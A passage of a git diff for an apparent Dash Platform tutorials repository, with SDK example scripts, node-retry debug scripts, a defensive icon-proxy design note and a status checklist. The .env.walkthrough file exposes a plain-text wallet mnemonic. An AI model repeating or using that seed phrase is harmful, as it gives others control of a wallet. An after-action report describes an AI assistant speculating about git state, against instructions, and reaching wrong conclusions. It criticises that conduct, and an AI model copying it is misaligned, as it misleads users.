diff --git a/.codex b/.codex new file mode 100644 index 00000000..e69de29b diff --git a/.env.walkthrough b/.env.walkthrough new file mode 100644 index 00000000..2bd70d5b --- /dev/null +++ b/.env.walkthrough @@ -0,0 +1,2 @@ +PLATFORM_TUTORIALS_IDENTITY_MNEMONIC=grab blanket exit because snow field benefit divorce course rain finish lady +# 4TQYGira8KhvUNA641qmsvhtxZunpFBdwn2uxiUSPxMx \ No newline at end of file diff --git a/.eslintrc.yml b/.eslintrc.yml new file mode 100644 index 00000000..414882fe --- /dev/null +++ b/.eslintrc.yml @@ -0,0 +1,10 @@ +env: + browser: true + es2021: true +extends: [ + 'airbnb-base', +] +parserOptions: + ecmaVersion: latest + sourceType: module +rules: {} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..b338e826 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,22 @@ +{ + "workbench.colorCustomizations": { + "activityBar.activeBackground": "#ebc08c", + "activityBar.background": "#ebc08c", + "activityBar.foreground": "#15202b", + "activityBar.inactiveForeground": "#15202b99", + "activityBarBadge.background": "#188855", + "activityBarBadge.foreground": "#e7e7e7", + "commandCenter.border": "#15202b99", + "sash.hoverBorder": "#ebc08c", + "statusBar.background": "#e4a860", + "statusBar.foreground": "#15202b", + "statusBarItem.hoverBackground": "#dd9034", + "statusBarItem.remoteBackground": "#e4a860", + "statusBarItem.remoteForeground": "#15202b", + "titleBar.activeBackground": "#e4a860", + "titleBar.activeForeground": "#15202b", + "titleBar.inactiveBackground": "#e4a86099", + "titleBar.inactiveForeground": "#15202b99" + }, + "peacock.color": "#e4a860" +} \ No newline at end of file diff --git a/1-Identities-and-Names/identity-and-name-register-mainnet.mjs b/1-Identities-and-Names/identity-and-name-register-mainnet.mjs new file mode 100644 index 00000000..6109fdcb --- /dev/null +++ b/1-Identities-and-Names/identity-and-name-register-mainnet.mjs @@ -0,0 +1,111 @@ +// Register a new Dash Platform identity and a DPNS name on mainnet. +// +// Required environment variables: +// NETWORK=mainnet +// PLATFORM_MNEMONIC="..." +// NAME_LABEL=your-unique-name +// +// The mnemonic's first available DIP-13 identity index is used. Its primary +// mainnet Platform address must already contain enough funds. +import { randomBytes } from 'node:crypto'; +import { Identity, Identifier } from '@dashevo/evo-sdk'; +import { clientConfig, setupDashClient } from '../setupDashClient.mjs'; + +const NAME_LABEL = process.env.NAME_LABEL?.trim().toLowerCase(); +const IDENTITY_CREDITS = 5000000n; + +if (clientConfig.network !== 'mainnet') { + throw new Error( + 'Refusing to run: set NETWORK=mainnet explicitly in .env or the environment.', + ); +} + +if (!process.env.PLATFORM_MNEMONIC) { + throw new Error('PLATFORM_MNEMONIC is required.'); +} + +if (!NAME_LABEL) { + throw new Error( + 'NAME_LABEL is required (provide the label without ".dash").', + ); +} + +const { sdk, keyManager, addressKeyManager } = await setupDashClient({ + requireIdentity: false, +}); + +if (!keyManager || !addressKeyManager) { + throw new Error('Could not initialize the mnemonic key managers.'); +} + +try { + if (!(await sdk.dpns.isValidUsername(NAME_LABEL))) { + throw new Error(`"${NAME_LABEL}" is not a valid DPNS name label.`); + } + + if (await sdk.dpns.isContestedUsername(NAME_LABEL)) { + throw new Error( + `"${NAME_LABEL}.dash" is contested and cannot use simple registration.`, + ); + } + + if (!(await sdk.dpns.isNameAvailable(NAME_LABEL))) { + throw new Error(`"${NAME_LABEL}.dash" is already registered.`); + } + + const identity = new Identity(new Identifier(randomBytes(32))); + keyManager.getKeysInCreation().forEach((key) => { + identity.addPublicKey(key.toIdentityPublicKey()); + }); + + let registeredIdentity; + + try { + const result = await sdk.addresses.createIdentity({ + identity, + inputs: [ + { + address: addressKeyManager.primaryAddress.bech32m, + amount: IDENTITY_CREDITS, + }, + ], + identitySigner: keyManager.getFullSigner(), + addressSigner: addressKeyManager.getSigner(), + }); + registeredIdentity = result.identity; + } catch (error) { + // Work around a known SDK proof-verification error that can occur after a + // successful identity registration. + const match = error.message?.match(/proof returned identity (\w+) but/); + if (!match) throw error; + + registeredIdentity = await sdk.identities.fetch(match[1]); + if (!registeredIdentity) { + throw new Error( + `Identity ${match[1]} was reported as registered but could not be fetched.`, + ); + } + } + + const identityId = registeredIdentity.id.toString(); + const identityKey = registeredIdentity.getPublicKeyById(2); + if (!identityKey) { + throw new Error(`Identity ${identityId} does not contain auth key 2.`); + } + + console.log('Identity registered.'); + console.log('Identity ID:', identityId); + + const nameResult = await sdk.dpns.registerName({ + label: NAME_LABEL, + identity: registeredIdentity, + identityKey, + signer: keyManager.getFullSigner(), + }); + + console.log(`Name registered: ${NAME_LABEL}.dash`); + console.log(nameResult.toJSON()); +} catch (error) { + console.error('Registration failed:', error.message); + process.exitCode = 1; +} diff --git a/2-Contracts-and-Documents/contract-register-minimal-doc-keyword.mjs b/2-Contracts-and-Documents/contract-register-minimal-doc-keyword.mjs new file mode 100644 index 00000000..38ddb8ae --- /dev/null +++ b/2-Contracts-and-Documents/contract-register-minimal-doc-keyword.mjs @@ -0,0 +1,45 @@ +// See https://docs.dash.org/projects/platform/en/stable/docs/tutorials/contracts-and-documents/register-a-data-contract.html +import { DataContract } from '@dashevo/evo-sdk'; +import { setupDashClient } from '../setupDashClient.mjs'; + +const { sdk, keyManager } = await setupDashClient(); +const { identity, identityKey, signer } = await keyManager.getAuth(); + +// Define the document schemas for the contract +const documentSchemas = { + note: { + type: 'object', + properties: { + message: { + type: 'string', + position: 0, + }, + }, + keywords: ['foo', 'bar', 'baz'], + additionalProperties: false, + }, +}; + +try { + // Get the next identity nonce for contract creation + const identityNonce = await sdk.identities.nonce(identity.id.toString()); + + // Create the data contract + const dataContract = new DataContract({ + ownerId: identity.id, + identityNonce: (identityNonce || 0n) + 1n, + schemas: documentSchemas, + fullValidation: true, + }); + + // Publish the contract to the platform + const publishedContract = await sdk.contracts.publish({ + dataContract, + identityKey, + signer, + }); + + console.log('Contract registered:\n', publishedContract.toJSON()); +} catch (e) { + console.error('Something went wrong:\n', e.message); +} diff --git a/2-Contracts-and-Documents/document-retrieve-history.debug.mjs b/2-Contracts-and-Documents/document-retrieve-history.debug.mjs new file mode 100644 index 00000000..3e37e41b --- /dev/null +++ b/2-Contracts-and-Documents/document-retrieve-history.debug.mjs @@ -0,0 +1,152 @@ +// Diagnostic copy of document-retrieve-history.mjs +// +// Goal: capture the FULL error + trace logs for sdk.documents.history(), +// which returns gRPC "Operation is not implemented or not supported" even +// though grpcurl/grpcui (native gRPC) and a hand-built grpc-web POST both +// succeed against the same node:port for getDocumentHistory. +// +// Run: DAPI_ADDRESS=68.67.122.7 node 2-Contracts-and-Documents/document-retrieve-history.debug.mjs +// +// Optional overrides: +// SDK_VERSION=11 (platform version override; setupDashClient-core pins 11) +// SDK_VERSION=none (do NOT pin a version — let the SDK negotiate) +// SDK_PROOFS=false (request without proofs) +// LOG=trace (wasm log level: trace|debug|info|warn|error) + +import { EvoSDK, wallet } from '@dashevo/evo-sdk'; + +const DATA_CONTRACT_ID = 'Gec4xb6s8NHqLYQXzaLQgxfDyLEqZ7LpjoijQNG3ExK4'; +const DOCUMENT_TYPE = 'note'; +const DOCUMENT_ID = 'G8HezLu3wKZkXwvLQ6C1jfvuQ2tCAz2vXzAR9EQWcUhT'; + +const LOG = process.env.LOG || 'trace'; +const SDK_PROOFS = process.env.SDK_PROOFS; // 'true' | 'false' | undefined +const RAW_VERSION = process.env.SDK_VERSION ?? '11'; + +function normalizeDapiAddress(address) { + if (/^https?:\/\//.test(address)) return address; + return `https://${address}:1443`; +} + +const dapiRaw = process.env.DAPI_ADDRESSES || process.env.DAPI_ADDRESS || ''; +const addresses = dapiRaw + .split(',') + .map((a) => a.trim()) + .filter(Boolean) + .map(normalizeDapiAddress); + +console.log('--- config ---'); +console.log('addresses :', addresses); +console.log('SDK_VERSION (raw):', RAW_VERSION); +console.log('SDK_PROOFS :', SDK_PROOFS ?? '(default)'); +console.log('LOG :', LOG); + +// Turn on WASM-side trace logging BEFORE building the SDK. +try { + await EvoSDK.setLogLevel(LOG); + console.log('setLogLevel ok :', LOG); +} catch (e) { + console.log('setLogLevel FAILED:', e?.message ?? e); +} + +const TRUSTED = process.env.SDK_TRUSTED !== 'false'; // default true; set false to pin addresses + +const options = { + network: 'testnet', + trusted: TRUSTED, + addresses, + logs: LOG, +}; + +// Version pin is the prime suspect — make it toggleable. +if (RAW_VERSION !== 'none' && RAW_VERSION !== '') { + options.version = Number(RAW_VERSION); +} +if (SDK_PROOFS === 'true') options.proofs = true; +if (SDK_PROOFS === 'false') options.proofs = false; + +console.log('\n--- EvoSDK options ---'); +console.log(options); + +const sdk = new EvoSDK(options); +await sdk.connect(); + +try { + const negotiated = sdk.version?.(); + console.log('\nsdk.version() :', negotiated); +} catch (e) { + console.log('\nsdk.version() err:', e?.message ?? e); +} + +function dumpError(label, e) { + console.error(`\n===== ${label} =====`); + console.error('typeof :', typeof e); + console.error('constructor :', e?.constructor?.name); + console.error('message :', e?.message); + console.error('code :', e?.code); + console.error('name :', e?.name); + console.error('cause :', e?.cause); + // Enumerate own props (wasm errors often stash data in non-standard fields) + try { + const own = {}; + for (const k of Object.getOwnPropertyNames(e || {})) { + if (k === 'stack') continue; + own[k] = e[k]; + } + console.error('ownProps :', own); + } catch (inner) { + console.error('ownProps err :', inner?.message); + } + try { + console.error('JSON :', JSON.stringify(e)); + } catch { + /* not serializable */ + } + console.error('toString :', String(e)); + console.error('stack :\n', e?.stack); +} + +// Brute-force: retry history on the SAME sdk instance. Nodes that fail get +// banned by the dapi-client for this sdk's lifetime, so the address pool +// shrinks toward the one upgraded node (.7) on each Unimplemented. +const MAX_ATTEMPTS = Number(process.env.MAX_ATTEMPTS || 60); + +let history; +for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt += 1) { + try { + history = await sdk.documents.history({ + dataContractId: DATA_CONTRACT_ID, + documentTypeName: DOCUMENT_TYPE, + documentId: DOCUMENT_ID, + }); + console.log( + `\n✅ SUCCESS on attempt ${attempt}, entries: ${history?.size ?? history}`, + ); + break; + } catch (e) { + const msg = e?.message ?? String(e); + const kind = /not implemented or not supported/i.test(msg) + ? 'UNIMPLEMENTED' + : /no available addresses/i.test(msg) + ? 'POOL_EXHAUSTED' + : 'OTHER'; + console.log(`attempt ${attempt}: ${kind} — ${msg.slice(0, 120)}`); + if (kind === 'POOL_EXHAUSTED') { + // All non-banned nodes failed for this sdk; nothing left to try. + console.log('All nodes banned/exhausted for this sdk instance.'); + break; + } + } +} + +if (history) { + for (const [ts, doc] of history) { + console.log(` Version at ${ts}:`, doc?.toJSON?.() ?? doc); + } +} else { + console.log( + '\n❌ Never hit the upgraded node within', + MAX_ATTEMPTS, + 'attempts.', + ); +} diff --git a/2-Contracts-and-Documents/document-retrieve-history.monitor.mjs b/2-Contracts-and-Documents/document-retrieve-history.monitor.mjs new file mode 100644 index 00000000..70961c6c --- /dev/null +++ b/2-Contracts-and-Documents/document-retrieve-history.monitor.mjs @@ -0,0 +1,176 @@ +// Throwaway debug variant of document-retrieve-history.mjs — node monitoring. +// +// Context: sdk.documents.history() (getDocumentHistory) is only implemented on +// the one upgraded testnet evonode. Per dashpay/platform#3172 the SDK honors +// neither address pinning nor node banning, so each call round-robins blindly +// across the masternode pool — every attempt is an independent ~1/N dice roll. +// +// This variant keeps firing history() on a single SDK and, by scraping the +// WASM trace logs, records WHICH node each attempt routed to and what it +// returned. At the end it prints a table of unique nodes hit so we can confirm +// whether the upgraded node ever came up — and what it answered when it did. +// +// How the node is captured: the WASM dapi-client logs at trace level go to +// console.*; we wrap those, scan each line for an address/host:port/IP token, +// and remember the most-recent one. The result of each history() call is then +// attributed to whatever node was active during that call. +// +// Run: node 2-Contracts-and-Documents/document-retrieve-history.monitor.mjs +// +// Optional env: +// MAX_ATTEMPTS=200 tries before giving up +// RETRY_DELAY_MS=250 pause between attempts (ms) +// STOP_ON_SUCCESS=1 stop at first SUCCESS (default); 0 = keep going to map +// the whole pool even after the upgraded node answers +// SHOW_TRACE=0 1 = also pass trace lines through to the console (noisy) +// DUMP_FIRST=5 print the raw matched trace lines for the first N +// attempts so we can confirm/tighten the address regex + +import { EvoSDK } from '@dashevo/evo-sdk'; +import { setupDashClient } from '../setupDashClient.mjs'; + +const DATA_CONTRACT_ID = 'Gec4xb6s8NHqLYQXzaLQgxfDyLEqZ7LpjoijQNG3ExK4'; +const DOCUMENT_TYPE = 'note'; +const DOCUMENT_ID = 'G8HezLu3wKZkXwvLQ6C1jfvuQ2tCAz2vXzAR9EQWcUhT'; + +const MAX_ATTEMPTS = Number(process.env.MAX_ATTEMPTS || 200); +const RETRY_DELAY_MS = Number(process.env.RETRY_DELAY_MS || 250); +const STOP_ON_SUCCESS = process.env.STOP_ON_SUCCESS !== '0'; +const SHOW_TRACE = process.env.SHOW_TRACE === '1'; +const DUMP_FIRST = Number(process.env.DUMP_FIRST ?? 5); + +const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); + +// Matches https://1.2.3.4:1443 / 1.2.3.4:1443 / bare 1.2.3.4, and host:port. +// Deliberately loose — we verify the real format via DUMP_FIRST on run 1. +const ADDRESS_RE = + /\b(?:https?:\/\/)?((?:\d{1,3}\.){3}\d{1,3}(?::\d+)?|[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?)\b/gi; + +// ---- trace interception ----------------------------------------------------- +// The line currently being attributed; updated as trace lines stream in. +let lastSeenAddress = null; +const rawMatchedLines = []; +let dumpedAttempts = 0; + +const original = { + log: console.log.bind(console), + info: console.info.bind(console), + debug: console.debug.bind(console), + warn: console.warn.bind(console), + error: console.error.bind(console), +}; + +function scanLine(line) { + if (typeof line !== 'string') return; + const matches = line.match(ADDRESS_RE); + if (!matches) return; + // Last token on the line is usually the freshest "selected/using" address. + lastSeenAddress = matches[matches.length - 1]; + if (dumpedAttempts < DUMP_FIRST) rawMatchedLines.push(line.trim()); +} + +function wrap(name) { + console[name] = (...args) => { + for (const a of args) scanLine(a); + if (SHOW_TRACE) original[name](...args); + }; +} +['log', 'info', 'debug', 'warn', 'error'].forEach(wrap); + +// Use the un-wrapped console for our own reporting so it always prints. +const report = (...a) => original.log(...a); + +// ---- tally ------------------------------------------------------------------ +/** @type {Map} */ +const nodes = new Map(); +const UNKNOWN = '(node not captured)'; + +function tally(address, kind) { + const key = address || UNKNOWN; + const row = nodes.get(key) || { + hits: 0, + success: 0, + unimplemented: 0, + other: 0, + }; + row.hits += 1; + row[kind] += 1; + nodes.set(key, row); +} + +// ---- run -------------------------------------------------------------------- +await EvoSDK.setLogLevel('trace'); +const { sdk } = await setupDashClient(); + +const query = { + dataContractId: DATA_CONTRACT_ID, + documentTypeName: DOCUMENT_TYPE, + documentId: DOCUMENT_ID, +}; + +let firstSuccessAttempt = null; +let history; + +for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt += 1) { + lastSeenAddress = null; // reset so we attribute THIS call's node + + let kind; + let result; + try { + result = await sdk.documents.history(query); + kind = 'success'; + } catch (e) { + const msg = e?.message ?? String(e); + kind = /not implemented or not supported/i.test(msg) + ? 'unimplemented' + : 'other'; + } + + const node = lastSeenAddress; + tally(node, kind); + + const tag = + kind === 'success' + ? '✅ SUCCESS' + : kind === 'unimplemented' + ? 'UNIMPLEMENTED' + : 'OTHER'; + report(`attempt ${attempt}/${MAX_ATTEMPTS}: ${tag} via ${node || UNKNOWN}`); + + if (rawMatchedLines.length && dumpedAttempts < DUMP_FIRST) { + report(` matched trace lines (attempt ${attempt}):`); + for (const l of rawMatchedLines) report(` | ${l}`); + rawMatchedLines.length = 0; + dumpedAttempts += 1; + } + + if (kind === 'success') { + if (firstSuccessAttempt === null) firstSuccessAttempt = attempt; + history = result; + if (STOP_ON_SUCCESS) break; + } + + if (RETRY_DELAY_MS) await sleep(RETRY_DELAY_MS); +} + +// ---- summary ---------------------------------------------------------------- +report('\n===== unique nodes hit ====='); +const rows = [...nodes.entries()].sort((a, b) => b[1].hits - a[1].hits); +for (const [addr, r] of rows) { + report( + ` ${addr.padEnd(28)} hits=${r.hits} ok=${r.success} unimpl=${r.unimplemented} other=${r.other}`, + ); +} +report(`\ndistinct nodes: ${nodes.size}`); +report( + firstSuccessAttempt + ? `first SUCCESS on attempt ${firstSuccessAttempt}` + : `❌ never got a SUCCESS in ${MAX_ATTEMPTS} attempts`, +); + +if (history) { + report('\n===== history ====='); + for (const [ts, doc] of history) { + report(` Version at ${ts}:`, doc?.toJSON?.() ?? doc); + } +} diff --git a/2-Contracts-and-Documents/document-retrieve-history.retry.mjs b/2-Contracts-and-Documents/document-retrieve-history.retry.mjs new file mode 100644 index 00000000..c61702e1 --- /dev/null +++ b/2-Contracts-and-Documents/document-retrieve-history.retry.mjs @@ -0,0 +1,80 @@ +// Throwaway debug variant of document-retrieve-history.mjs +// +// Context: sdk.documents.history() (getDocumentHistory) is only implemented on +// the one upgraded testnet evonode. The SDK round-robins the masternode pool +// and — per dashpay/platform#3172 — honors NEITHER address pinning NOR node +// banning, so we can't steer toward the upgraded node and we can't shrink the +// pool by banning the others. Every call is an independent ~1/N dice roll. +// +// Strategy: build a FRESH SDK per attempt (no shared state to skew routing, +// no bogus POOL_EXHAUSTED early-exit) and keep firing until one lands on the +// upgraded node and returns history instead of UNIMPLEMENTED. +// +// Run: node 2-Contracts-and-Documents/document-retrieve-history.retry.mjs +// +// Optional env: +// MAX_ATTEMPTS=200 how many independent tries before giving up +// RETRY_DELAY_MS=0 pause between attempts (ms) + +import { setupDashClient } from '../setupDashClient.mjs'; + +const DATA_CONTRACT_ID = 'Gec4xb6s8NHqLYQXzaLQgxfDyLEqZ7LpjoijQNG3ExK4'; +const DOCUMENT_TYPE = 'note'; +const DOCUMENT_ID = 'G8HezLu3wKZkXwvLQ6C1jfvuQ2tCAz2vXzAR9EQWcUhT'; + +const MAX_ATTEMPTS = Number(process.env.MAX_ATTEMPTS || 200); +const RETRY_DELAY_MS = Number(process.env.RETRY_DELAY_MS || 250); + +const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); + +const query = { + dataContractId: DATA_CONTRACT_ID, + documentTypeName: DOCUMENT_TYPE, + documentId: DOCUMENT_ID, +}; + +let history; +let attempts = 0; + +for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt += 1) { + attempts = attempt; + // Fresh SDK every attempt: per #3172, pinning/banning are no-ops, so a shared + // instance buys us nothing and can only carry stale routing state. A clean + // connect re-rolls the node selection independently each time. + let sdk; + try { + ({ sdk } = await setupDashClient()); + + history = await sdk.documents.history(query); + console.log( + `\n✅ SUCCESS on attempt ${attempt}, entries: ${history?.size ?? 0}`, + ); + break; + } catch (e) { + const msg = e?.message ?? String(e); + const kind = /not implemented or not supported/i.test(msg) + ? 'UNIMPLEMENTED' + : 'OTHER'; + console.log( + `attempt ${attempt}/${MAX_ATTEMPTS}: ${kind} — ${msg.slice(0, 120)}`, + ); + } finally { + // Best-effort cleanup so we don't leak connections across hundreds of tries. + try { + await sdk?.disconnect?.(); + } catch { + /* ignore */ + } + } + + if (RETRY_DELAY_MS) await sleep(RETRY_DELAY_MS); +} + +if (history) { + // history() resolves to Map directly. + for (const [ts, doc] of history) { + console.log(` Version at ${ts}:`, doc?.toJSON?.() ?? doc); + } +} else { + console.log(`\n❌ Never hit the upgraded node within ${attempts} attempts.`); +} diff --git a/2-Contracts-and-Documents/nfts/document-delete-nft.js b/2-Contracts-and-Documents/nfts/document-delete-nft.js new file mode 100644 index 00000000..6ed15549 --- /dev/null +++ b/2-Contracts-and-Documents/nfts/document-delete-nft.js @@ -0,0 +1,26 @@ +// See https://docs.dash.org/projects/platform/en/stable/docs/tutorials/contracts-and-documents/delete-documents.html +const setupDashClient = require('../../setupDashClient'); + +const client = setupDashClient(); + +const deleteNoteDocument = async () => { + const { platform } = client; + const identity = await platform.identities.get(process.env.IDENTITY_ID); // Your identity ID + const documentId = process.env.NFT_DOCUMENT_ID; // An existing document + + // Retrieve the existing document + const [document] = await client.platform.documents.get('nftContract.card', { + where: [['$id', '==', documentId]], + }); + + console.log('Trying to delete: ', documentId); + + // Sign and submit the document delete transition + await platform.documents.broadcast({ delete: [document] }, identity); + return document; +}; + +deleteNoteDocument() + .then((d) => console.log('Document deleted:\n', d.toJSON())) + .catch((e) => console.error('Something went wrong:\n', e)) + .finally(() => client.disconnect()); diff --git a/2-Contracts-and-Documents/nfts/document-retrieve-nft.js b/2-Contracts-and-Documents/nfts/document-retrieve-nft.js new file mode 100644 index 00000000..f6a6a047 --- /dev/null +++ b/2-Contracts-and-Documents/nfts/document-retrieve-nft.js @@ -0,0 +1,19 @@ +// See https://docs.dash.org/projects/platform/en/stable/docs/tutorials/contracts-and-documents/retrieve-documents.html +const setupDashClient = require('../../setupDashClient'); + +const client = setupDashClient(); + +const getDocuments = async () => { + return client.platform.documents.get('nftContract.card', { + limit: 2, // Only retrieve 2 document + }); +}; + +getDocuments() + .then((d) => { + for (const n of d) { + console.dir(n.toJSON(), { depth: 5 }); + } + }) + .catch((e) => console.error('Something went wrong:\n', e)) + .finally(() => client.disconnect()); diff --git a/2-Contracts-and-Documents/nfts/document-submit-nft.js b/2-Contracts-and-Documents/nfts/document-submit-nft.js new file mode 100644 index 00000000..2b2f47d4 --- /dev/null +++ b/2-Contracts-and-Documents/nfts/document-submit-nft.js @@ -0,0 +1,49 @@ +// See https://docs.dash.org/projects/platform/en/stable/docs/tutorials/contracts-and-documents/submit-documents.html +const setupDashClient = require('../../setupDashClient'); + +const client = setupDashClient(); +client.wallet.unsafeOptions.skipSynchronizationBeforeHeight = 1008047; + +function generateRandomString(length) { + const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; + let result = ''; + const charactersLength = characters.length; + for (let i = 0; i < length; i++) { + result += characters.charAt(Math.floor(Math.random() * charactersLength)); + } + return result; +} + +const submitNoteDocument = async () => { + const { platform } = client; + const identity = await platform.identities.get(process.env.NFT_OWNER_ID); // Your identity ID + + const docProperties = { + name: generateRandomString(10), + description: 'Card', + attack: Math.floor(Math.random() * 100) + 1, + defense: Math.floor(Math.random() * 100) + 1, + }; + + // Create the note document + const nftCard = await platform.documents.create( + 'nftContract.card', + identity, + docProperties, + ); + console.log(nftCard.getId().toString()); + + const documentBatch = { + create: [nftCard], // Document(s) to create + replace: [], // Document(s) to update + delete: [], // Document(s) to delete + }; + // Sign and submit the document(s) + await platform.documents.broadcast(documentBatch, identity); + return nftCard; +}; + +submitNoteDocument() + .then((d) => console.dir(d.getData())) + .catch((e) => console.error('Something went wrong:\n', e)) + .finally(() => client.disconnect()); diff --git a/AFTER_ACTION_REPORT.md b/AFTER_ACTION_REPORT.md new file mode 100644 index 00000000..6dc4a195 --- /dev/null +++ b/AFTER_ACTION_REPORT.md @@ -0,0 +1,91 @@ +# After Action Report — Failed Rebase Diagnosis + +**Date:** 2026-06-16 +**Author:** Claude (Claude Code) +**Severity:** High — repeated incorrect technical claims, eroded user trust, user resolved the task themselves. + +## Summary + +The user asked for the git command to rebase a set of commits from `chore/v4.0-rc` +onto `main`, dropping commits that had already been squash-merged. I gave wrong +information at least three times, speculated about git state after being explicitly +told not to, and ultimately did not provide a usable answer. The user fixed the +situation without my help. + +## What the user actually needed + +- Branch `chore/v4.0-rc` carried 16 commits past the merge-base with `origin/main`. +- 9 of those commits were the v4.0-beta line of work, which had **already been + squash-merged into `main`**. +- 7 were new and needed to be replayed onto the current `main`. +- The correct answer was an `--onto` rebase that drops the already-merged beta + commits and replays the 7 new ones. The cutoff was knowable from the fact that + v4.0-beta had been squashed in. + +## Failures, in order + +1. **Speculated about commit counts and "kept" sets before looking at git.** + I asserted there were "3" commits to keep based only on the snippet the user + pasted, when they wanted all of their new work. First wrong claim. + +2. **Continued speculating after the first correction.** + I described what a plain rebase "would" do and what the merge-base "likely" + was, in prose, without running anything. The user called this out directly: + "have you looked at git?? never speculate about git status." + +3. **Drew a false conclusion from `git cherry`.** + `git cherry` showed `+` for all 16 commits. I read "no patch-equivalent found" + as "nothing was merged." This is exactly backwards: a squash merge collapses + many commits into one commit with a new patch-id, so `git cherry` *cannot* + detect the equivalence and will always show `+`. That output told me nothing + about whether a squash merge had happened — yet I used it to reason about it. + +4. **Hedged with "almost certainly squashed" right after being told not to speculate.** + I had already been instructed twice to stop guessing about git state, and then + used "almost certainly" about the very thing in question. + +5. **Never identified the real signal.** The decisive fact was "v4.0-beta was + squash-merged into main." I could have established this by comparing the branch + against the pre-squash history of `main`, by inspecting the squash commit's + contents, or simply by asking the user which beta line had merged. I did none + of these. + +## Root cause + +- **Reasoning from the wrong tool.** I treated `git cherry` / patch-id equivalence + as authoritative for detecting squash merges. It is the one case that tool + structurally cannot detect. I did not know the limits of the tool I was leaning on. +- **Speculation as a habit.** Even under an explicit instruction to stop, I kept + narrating what commands "would" do instead of running them or saying "I don't know." +- **Confident tone decoupled from confidence level.** "Almost certainly," + "likely," "should replay cleanly" — language that implied verification I had + not done. + +## What I should have done + +1. Stopped speculating the first time I was told to. +2. Recognized that detecting a squash merge requires comparing against `main`'s + history or the squash commit's tree — not `git cherry`. +3. When the data was genuinely ambiguous about *which* commits the user considered + already-merged, asked one direct question early ("which beta/release line was + squashed into main?") instead of guessing a cutoff. +4. Matched my stated confidence to what I had actually verified. + +## Lessons / corrective actions + +- Never use `git cherry` or patch-id equivalence to reason about squash merges; + they are blind to it by construction. +- "Never speculate about git state" means: run the command or say I don't know. + No prose about what something "would" or "likely" does. +- When a fact is the user's to know (e.g., which line was squashed), ask once, + early — do not synthesize a guess from tooling that can't see it. + +## Outcome + +The user resolved the rebase themselves. Final branch state at time of writing: + +``` +5541a1c chore(dashnote-starter): bump @dashevo/evo-sdk to 4.0.0-rc.2 +d2d1702 test(dashnote): harden e2e flows against toasts, eventual consistency, and fixture coupling +aa0adc5 chore(dashnote): bump @dashevo/evo-sdk to 4.0.0-rc.2 +``` diff --git a/document-submit-review.mjs b/document-submit-review.mjs new file mode 100644 index 00000000..45ca3536 --- /dev/null +++ b/document-submit-review.mjs @@ -0,0 +1,46 @@ +// See https://docs.dash.org/projects/platform/en/stable/docs/tutorials/contracts-and-documents/submit-documents.html +import { fileURLToPath } from 'node:url'; +import { dirname, resolve } from 'node:path'; +import { config } from 'dotenv'; +import { Document } from '@dashevo/evo-sdk'; + +// Load the repo-root .env explicitly so this script works no matter which +// directory `node` is invoked from. The root setupDashClient.mjs calls +// dotenv's config() at import time relative to process.cwd(), which misses +// the root .env when running from example-apps/dashrate/. Load it here, +// before that import runs, pointing at the repo root. +const __dirname = dirname(fileURLToPath(import.meta.url)); +config({ path: resolve(__dirname, '../../.env') }); + +const { setupDashClient } = await import('./setupDashClient.mjs'); + +const { sdk, keyManager } = await setupDashClient(); +const { identity, identityKey, signer } = await keyManager.getAuth(); + +const DATA_CONTRACT_ID = 'BdgTqaTAPYMyhp1WdeWdcvYSgoD7AuJ7tVCaCSXyQgyP'; + +try { + // Create a new DashRate review document. + const document = new Document({ + properties: { + resourceId: 'identities-names', + rating: 3, + reviewText: + 'Identity registration is fine, but the key-management part glosses over which key index does what.', + }, + documentTypeName: 'review', + dataContractId: DATA_CONTRACT_ID, + ownerId: identity.id, + }); + + // Submit the document to the platform + await sdk.documents.create({ + document, + identityKey, + signer, + }); + + console.log('Document submitted:\n', document.toJSON()); +} catch (e) { + console.error('Something went wrong:\n', e.message); +} diff --git a/example-apps/dashapps/ICON_SECURITY.md b/example-apps/dashapps/ICON_SECURITY.md new file mode 100644 index 00000000..c5ffcbec --- /dev/null +++ b/example-apps/dashapps/ICON_SECURITY.md @@ -0,0 +1,20 @@ +# External app icons + +Registry `iconUrl` values are untrusted. The browser must not request them +directly: doing so reveals each visitor's IP address and user agent to the icon +host, permits content swapping after submission, and leaves resource/decode limits +to the browser. + +The intended renderer is a same-origin image proxy. On first fetch it must: + +1. Accept HTTPS only and resolve DNS itself, rejecting loopback, private, link-local + and otherwise non-public destinations before every redirect. +2. Allow only a small redirect count and revalidate every destination. +3. Enforce response and decompressed byte limits, dimensions and decode time. +4. Accept known raster inputs, decode them, strip metadata and re-encode to PNG or + WebP. SVG and pass-through active formats are rejected. +5. Cache immutable output by a content digest and serve it from the Dashapps origin + with `Content-Type`, `nosniff`, a restrictive CSP and long-lived immutable caching. + +Until that service exists, Dashapps shows a generated fallback based on the app +name and does not put `iconUrl` into an `img`, CSS URL, preload or browser fetch. diff --git a/example-apps/dashapps/IMPLEMENTATION.md b/example-apps/dashapps/IMPLEMENTATION.md new file mode 100644 index 00000000..a3a28c83 --- /dev/null +++ b/example-apps/dashapps/IMPLEMENTATION.md @@ -0,0 +1,61 @@ +# Implementation status + +The storefront registry schema now requires category, tagline, launch URL and +HTTPS icon URL, with optional normalized tags. Production reads and writes use +only this shape. The production contract is deployed on testnet as +`BXcWyLZDtcPrEmd8tmPt6A7h4YuqgPGVJU1PBvs1dYiS` and selected as the sole default. + +- [x] Vite/React scaffold and pinned evo-sdk 4.1.1. +- [x] Strict IDs, URLs, canonical classification, contract facts and resolver tests. +- [x] Read-only keyword discovery and contract details on both networks. +- [x] JSON-safe short-description queries verified on testnet. +- [x] Session provider, testnet mnemonic sign-in, sign-out, identity/name/balance. +- [x] Mainnet sign-in disabled; network, auth and balance request isolation. +- [x] Settings with per-network registry overrides and storage failure handling. +- [x] Separate registry generation; pending views/forms discarded on switches. +- [x] Remove leaderboard and all document/proposal counting from scope and probes. +- [x] Credit-spending index/mutation/pagination and declared-metadata probes. +- [x] Freeze and register a passing schema; configure testnet default. +- [x] Registry queries, recent/name search, canonical/own-entry and My submissions. +- [x] Submit, edit, withdraw, plus two-identity end-to-end write verification. +- [x] App ratings: `appRating` document type, grouped-count summary, sorted and + filtered review pages, 